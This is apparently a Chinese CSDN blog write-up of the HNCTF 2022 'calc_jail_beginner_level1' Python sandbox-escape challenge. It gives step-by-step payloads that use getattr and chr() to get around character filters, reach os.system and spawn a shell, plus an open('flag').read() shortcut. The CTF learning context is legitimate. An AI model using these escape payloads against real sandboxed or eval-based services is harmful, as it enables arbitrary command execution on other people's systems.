【misc】[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL) --沙箱逃逸,python模板注入

文章讲述了在Python中利用模板注入技术,通过字符操作绕过限制,尤其是`getattr`和`chr`函数的组合,实现os库访问并获取shell的方法。作者提到两种方法,一种是逐步渐进式,另一种是利用`open`函数的局限性简化过程。
摘要由CSDN通过智能技术生成

查看附件

可以看到,这次过滤挺多重要的字符,比如\,'等字符,还过滤的字母i和b,这道题可通过python模板注入:(ssti注入)

# 下面是渐变过程
().__class__.__base__.__subclasses__()

getattr(().__class__, '__base__').__subclasses__()

getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()

getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), '__subclasses__')()

getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()

().__class__.__base__.__subclasses__()可通过返回的值找到os库,然后就是getattr函数和chr()配合一起绕过字母的限制,输入第四句代码后,会给我返回很多东西,os在倒数第四个

然后就可以构造payload   ().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

再来一步替换getattr(getattr(getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4], chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)), chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))
即可getshell

其实这边的原理我也不是很懂,但是感觉这是偏模版化的,记住就行

接下来还有一个更简洁的方法,但是有局限性,就是得知道文件名和路径

就是用open函数,因为题目没有禁这个函数

可以输入open('flag').read())

替换就是open(chr(102)+chr(108)+chr(97)+chr(103)).read()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值